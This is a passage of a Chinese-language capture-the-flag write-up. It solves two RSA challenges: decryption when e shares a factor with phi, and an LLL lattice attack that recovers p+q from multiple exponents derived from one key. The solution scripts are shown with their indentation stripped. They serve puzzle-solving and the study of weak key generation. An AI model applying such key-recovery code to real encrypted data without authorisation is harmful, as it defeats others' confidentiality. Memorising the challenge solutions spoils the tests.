c = 1221991191181537480409280274601665703436452140103304537845613601178696380818070104367013417214736049755604143035487180738359289898220649954048656088595437207285439557305498232173015879786423288421449102163518842089724119856793640811296229737537420246940355390598891872205214803073572059769996643624345908446925180150015392213855838576280574429232759361661272308828918455571430474891558942292218205997271921456802441484120867681994391169344900411716709726179808258177460514845834766494746593823485625859020123297205069971090717613794677771667122121445363402552653272055500125897806219551396366979767933408044709752359
n = p*q
# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
print(t)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
print(m)
msg = gmpy2.iroot(m, t)
print(msg)
if msg[1]:
print(libnum.n2s(int(msg[0])))
decrypt(p, q, e, c)
realworld_signin
分析代码,一道RSA解密,
这是生成安全素数 (p = 2*p’ + 1)
while True:
p = getPrime(nbit//2 -1)
if isPrime(p*2 +1):
p = p*2 +1
break
这是基于一个主key派生出多个e
dd = key + 2*i + 2
ee = inverse(dd, phi)
我们可以利用LLL算法破解这个系统:
Sage代码如下
from Crypto.Util.number import *
from gmpy2 import *
# 参数设置
kbit = int(1024 * 0.4512)
n = 74219777503778039384713198365717527570373780382282379096972324690081251365065095477929000988386083681513203512491370927718845828743263995474732954774847491077352889517941768340481419267423631909841384547193328808809698128024580433515656322494632812480829457617336935593289239810796790258340346723170779741729
enc = 3958934790045124866206442112203716709774918406908883950694315528119774925784304094589904441533860211980819087518909102001416328758594316833929979070172748292074660629845088404162218840261958843182437065648573098851362348095016447999960735481613602740679289938895010960006147454446217092740846658264611556049
e = [4887018227490522951180294849300795078089879760906958713840219865360715968371444384809600798722116650781533836036468107064224040407423019901606826655222409462216730303069, 10669730305337833596975615068410195458253070461812780080709142628897073567499404794021164409415540038651681573534705867337538310118978986399654380785725618242699041380387, 8142964478221999554910213773788338164057753833517493758000371804412383610067159150155969747956533939354523232613247520232056216176201260804121934599908432923486260612317, 11652719175369011698254384457898915529630550209917968179739258665918261225619905857012788877228542136571998171717618976082528025667712499544840885217557680956450369144675, 34003350341195715219756284404552341399794791297972526216804577168946328445618154380859132831844965989921091967221190846840999723904112475242892383699155675182567532801, 2860066778059413684662295582172426118122705273991773548419642922428995656973598214870690699588374853326276293213989012824207602959219534505808866028915763355436185744123, 5651045905713941129446487838092597626029291600688556732347463189530216441853741006708855020386319319308988127186747362244301438665297324391979234952546830209234569116261, 2140878550739676511590506772117509023321640703174202478823558773593787943205904726875017137498147222975331316168974069615740699182750574062641699711207266869815104136787, 6087515930969111112910337124852388243046982649210478853708132599075927707876599683683216927875595329735881653131486460133093348528437888936663203170767911308929582441773, 8496950406172821290931084524363511798402820386060289549675192568389312964971697194151237310737901120582641696181376460581772200367956411137029670911466460656018637692659, 5521671452978337788525632599953073251562560992187700653036520368631645881879229590206976526637051016552506458967109253647851425905078799584734324394702806206265558149945, 6043839891337792681912995673004428774706928836622452273141268236090724294605361838402685345660355442927551001854520505157921129100849822333762913125232996033239868973843]
k = [3753912660038637795426326605710245748695515390560399900745526510076661269559937453361786562971787430187092638089592476413827248976201910729, 148332751019019665213527515415994973999508161932931586225251303612603591426982821049633057336142033950570768979851982331502208272992555144, 1952730504553239255866147466652614989880484636554409389889209996137393120644584339940104077497653464653971602512161844635078307978877647974, 1491424006746149806000796952702113169821060032092339883294591116563350668523089587601941330593978556474600163634471625650494113127193307579, 5384583034924339530811747654831072663367479282612986741274329874820393279166995320549315525923181268101147286029501202086818387811951987836, 1871829167031099148278787440352885629456694616268353399403361380769798917377502207494123895728926749499069187544161471621485725448161169552, 2950621910186879740981933793783240810002997058349007228405274208013628163031349226994933817824843247734106501316565579988692260945447962986, 5538898744303235172518606480059896788132565770741837215272429756735449805207647199201670616333828581089815523538198365282659664448577791269, 2591080105064697176701100584391065535484219584865585828165893741514425622002283934061476975272432592321429946592764006270452813842613080401, 264165800112867570026135085006547605483471103693544648584360216344763308107222432019699311365093573214354403428619674469587257219103635856, 3179281832979106354462413127457746506122639506050382014896578461911966421509137922269717288264411656140288026184140707180180859163847829877, 5453867100177896617666870379906620004341213494547157840163256833214460699398257647944622374465417010235359559702686885701184167810496907355]
# 构建格矩阵
dim = 3 + len(e)
L = Matrix(ZZ, dim, dim)
# 填充对角线
for i in range(3):
L[i, i] = 1
for i in range(len(e)):
L[3+i, 3+i] = 2\^(1024 - kbit)
# 填充其他元素
for i in range(len(e)):
Ci = e[i]*(2*i+2) - 1 - k[i]*(n+1)
L[0, 3+i] = e[i]
L[1, 3+i] = k[i]
L[2, 3+i] = Ci
# 调整权重
L[0, 0] = 2\^(513 - kbit)
L[2, 2] = 2\^513
L[:, 3:] *= n
# LLL算法求解
res = L.LLL()[0]
pplusq = abs(res[1])
pminusq = iroot(pplusq\^2 - 4*n, 2)[0]
p = (pplusq + pminusq) // 2
q = n // p
assert p * q == n, "因式分解验证失败"
d = inverse(65537, (p-1)*(q-1))
m = pow(enc, d, n)
print("解密结果:", long_to_bytes(int(m)))
构建了一个特殊结构的格矩阵,应用格基约减找到短向量,从p+q恢复私钥:,最后rsa解密就行









